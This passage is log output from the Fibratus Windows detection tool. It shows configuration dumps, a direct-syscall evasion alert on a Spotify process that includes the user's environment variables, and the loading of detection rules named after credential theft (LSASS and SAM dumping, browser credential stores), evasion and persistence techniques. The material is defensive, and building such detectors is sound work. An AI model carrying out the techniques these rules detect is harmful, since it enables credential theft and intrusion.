endpoints=>[] method=>POST tls-insecure-skip-verify=>false timeout=>5s enabled=>false enable-gzip=>false serializer=>json] amqp=>[ url=>amqp://localhost:5672 timeout=>5s exchange=>fibratus durable=>false tls-insecure-skip-verify=>false passive=>false enabled=>false routing-key=>fibratus exchange-type=>topic delivery-mode=>transient vhost=>/] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s excluded-procs=>[] excluded-files=>[] skip-mmaps=>false fastscan=>true enabled=>false skip-registry=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T17:36:17+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:36:20+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:37:10+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4133594 + Pid: 12220 + Tid: 13100 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-11 17:36:58.4061922 +0100 CET + Params: base_address➜ 7ff9656a0000, checksum➜ 842635, default_address➜ 7ff9656a0000, file_path➜ C:\Windows\System32\OneCoreCommonProxyStub.dll, image_size➜ 823296, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 12220, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 12220 + Ppid: 1792 + Name: Spotify.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_12220_ACZHQGDVMDWAUSBW COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1792_1262719628:1 EFC_1792_1592913036:1 EFC_1792_2283032206:1 EFC_1792_2775293581:1 EFC_1792_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff807f01e0534 C:\WINDOWS\system32\ntoskrnl.exe!PsIsThreadTerminating+0x1f4|0xfffff807f00d312d C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x74d|0xfffff807f011d312 C:\WINDOWS\system32\ntoskrnl.exe!FsRtlAreNamesEqual+0x5b2|0xfffff807f06f7f48 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff807f06f7bbb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff807f06da620 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x5570|0xfffff807f0690f2b C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc7b|0xfffff807f06904fd C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807f04b5655 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x91d5|0x7ff911d8b014 C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!DumpHungProcessWithPtype_ExportThunk|0x7ff911c3cefa C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!GetHandleVerifier|0x7ff911c3d383 C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!GetHandleVerifier|0x7ff988ca53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ff988ca4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ff988ca84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ff988ca701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ff988d14294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ff988cb63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ff988cb6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ff988cdfa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ff98610ca5f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ff9876872c5 C:\Windows\System32\combase.dll!CoReleaseServerProcess|0x7ff987686df7 C:\Windows\System32\combase.dll!CoReleaseServerProcess|0x7ff987848562 C:\Windows\System32\combase.dll!Ordinal225|0x7ff9878499bc C:\Windows\System32\combase.dll!Ordinal225|0x7ff987849ac5 C:\Windows\System32\combase.dll!Ordinal225|0x7ff987845bd6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ff9877df4c1 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ff9877170f3 C:\Windows\System32\combase.dll!SetErrorInfo|0x7ff987717034 C:\Windows\System32\combase.dll!SetErrorInfo|0x7ff987716b24 C:\Windows\System32\combase.dll!SetErrorInfo|0x7ff9876af22a C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ff9876ae382 C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ff9876ade7e C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ff9876adb02 C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ff9876acc81 C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ff98774eb5f C:\Windows\System32\combase.dll!WindowsPromoteStringBuffer|0x7ff9876f4845 C:\Windows\System32\combase.dll!CoGetMarshalSizeMax|0x7ff9876a5554 C:\Windows\System32\combase.dll!CoMarshalInterface|0x7ff9876a5110 C:\Windows\System32\combase.dll!CoTaskMemAlloc|0x7ff9874b018d C:\Windows\System32\rpcrt4.dll!NdrPointerMarshall|0x7ff9874ae0e9 C:\Windows\System32\rpcrt4.dll!NdrComplexStructMarshall|0x7ff9875763b2 C:\Windows\System32\rpcrt4.dll!Ndr64AsyncServerCall64|0x7ff987575816 C:\Windows\System32\rpcrt4.dll!Ndr64AsyncServerCall64|0x7ff9874b6c50 C:\Windows\System32\rpcrt4.dll!NdrStubCall3|0x7ff987701e8d C:\Windows\System32\combase.dll!CStdStubBuffer_Invoke|0x7ff987701dcb C:\Windows\System32\combase.dll!CoGetMarshalSizeMax|0x7ff987701346 C:\Windows\System32\combase.dll!CoGetMarshalSizeMax|0x7ff987700991 C:\Windows\System32\combase.dll!CoGetMarshalSizeMax|0x7ff98775c636 C:\Windows\System32\combase.dll!RoGetServerActivatableClasses|0x7ff987696964 C:\Windows\System32\combase.dll!CoWaitForMultipleHandles|0x7ff9876b4a45 C:\Windows\System32\combase.dll!Ordinal142|0x7ff987694630 C:\Windows\System32\combase.dll!StringFromCLSID|0x7ff9877e0ddb C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ff9872c7846 C:\Windows\System32\user32.dll!CallWindowProcW|0x7ff9872c539d C:\Windows\System32\user32.dll!IsWindowUnicode|0x7ff9877994db C:\Windows\System32\combase.dll!CStdStubBuffer_QueryInterface|0x7ff98768ba0b C:\Windows\System32\combase.dll!CoResumeClassObjects|0x7ff98779b661 C:\Windows\System32\combase.dll!RoParameterizedTypeExtraGetTypeSignature|0x7ff98779b519 C:\Windows\System32\combase.dll!RoParameterizedTypeExtraGetTypeSignature|0x7ff986b7e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ff988d2c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-11T17:37:10+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T17:37:10+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:41:01+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_script_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:41:01+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T17:41:01+01:00 level=info msg=bootstrapping with pid 1440. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T17:41:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ content-type=>text/html enabled=>false port=>25 use-template=>true to=>[]] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ flush-interval=>1s enable-mem=>false buffer-size=>512 enable-threadpool=>false max-buffers=>36 enable-dns=>false stack-enrichment=>true enable-audit-api=>true enable-thread=>true enable-vamap=>true enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true enable-image=>true enable-handle=>false min-buffers=>16 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 max-age=>0 log-stdout=>true level=>info max-backups=>15] + output ......................... [ http=>[ enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] serializer=>json enabled=>false timeout=>5s method=>POST] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] elasticsearch=>[ sniff=>false bulk-workers=>1 template-name=>fibratus healthcheck-timeout=>5s gzip-compression=>false servers=>[http://127.0.0.1:9200] trace-log=>false enabled=>false index-name=>fibratus healthcheck=>true timeout=>5s healthcheck-interval=>10s flush-period=>1s] amqp=>[ passive=>false routing-key=>fibratus durable=>false url=>amqp://localhost:5672 delivery-mode=>transient vhost=>/ enabled=>false tls-insecure-skip-verify=>false timeout=>5s exchange=>fibratus exchange-type=>topic] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-sections=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] enabled=>false fastscan=>true skip-allocs=>false skip-mmaps=>false excluded-procs=>[] skip-files=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-12-11T17:41:02+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:41:04+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:41:55+01:00 